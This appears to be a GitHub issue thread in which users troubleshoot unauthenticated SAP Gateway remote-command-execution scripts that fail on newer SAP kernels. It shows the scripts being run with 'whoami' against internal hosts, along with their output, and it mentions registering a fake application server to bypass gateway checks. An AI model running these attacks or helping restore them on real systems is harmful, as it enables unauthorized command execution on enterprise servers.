Problems with newer SAP Kernel?

[randomstr1ng]

Many thanks for the great work!

I've spotted a problem:
When I try to execute both Scripts, I get an Error, that the function "SAPXPG_END_XPG not found" (tested with SAP Kernel 753) error_K753.zip

Output of Scripts:

python SAPanonGWv1.py -t 192.168.66.19 -c whoami -p 3300
[*] sending cmd:whoami

python SAPanonGWv2.py -t 192.168.66.19 -c whoami -p 3300
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_SEND
[INFO ] [+] Sending F_SAP_SEND2
[!] Error. resp_lines = 0 or resp_type = 0

Test with SM49

I did a test, to capture the communication between to SAP Systems where an OS command get executed via SM49
sapxpg_working_SM49.zip

I tried the Scripts on an older SAP Kernel (742) and it did work as it should. (that's the reason why I think that the newer Kernel causes the problems)

Would be great if you could have a look at the scripts, to fix the error!
Thanks!

[abat-tst]

Hi @randomstr1ng,

i also had this result on a newer s/4haha system. right now i have tested it on an older sap netweaver as abap 7.5 ehp 8 with kernel 753 and patch level 1313. I get this error:

python SAP_GW_RCE_exploit/SAPanonGWv2.py -t 192.111.111.111 -p 3300 -c "whoami"
[INFO ] [+] Sending GW_NORMAL_CLIENT
[INFO ] Response: OK
[INFO ] [+] Sending F_SAP_INIT
Got Error!
LOCATION: SAP-Gateway on host sap-server.company.com / sapgw00
ERROR: user SAP* is not authorized to start TP sapxpg on host sap-server.company.com
TIME: Mon Aug 04 18:29:56 2025
RELEASE: 753
COMPONENT: SAP-Gateway
VERSION: 2
RC: 676
MODULE: D:/depot/bas/753_REL/src/krn/si/gw/gwr3cpic.c
LINE: 7404
DETAILS: 
COUNTER: 213

Did you have this error during your tests too and do you know how to resolve it? It seems that the kernel does not respect the "fake application server" that i registered via the SAP MS script here.

Many regards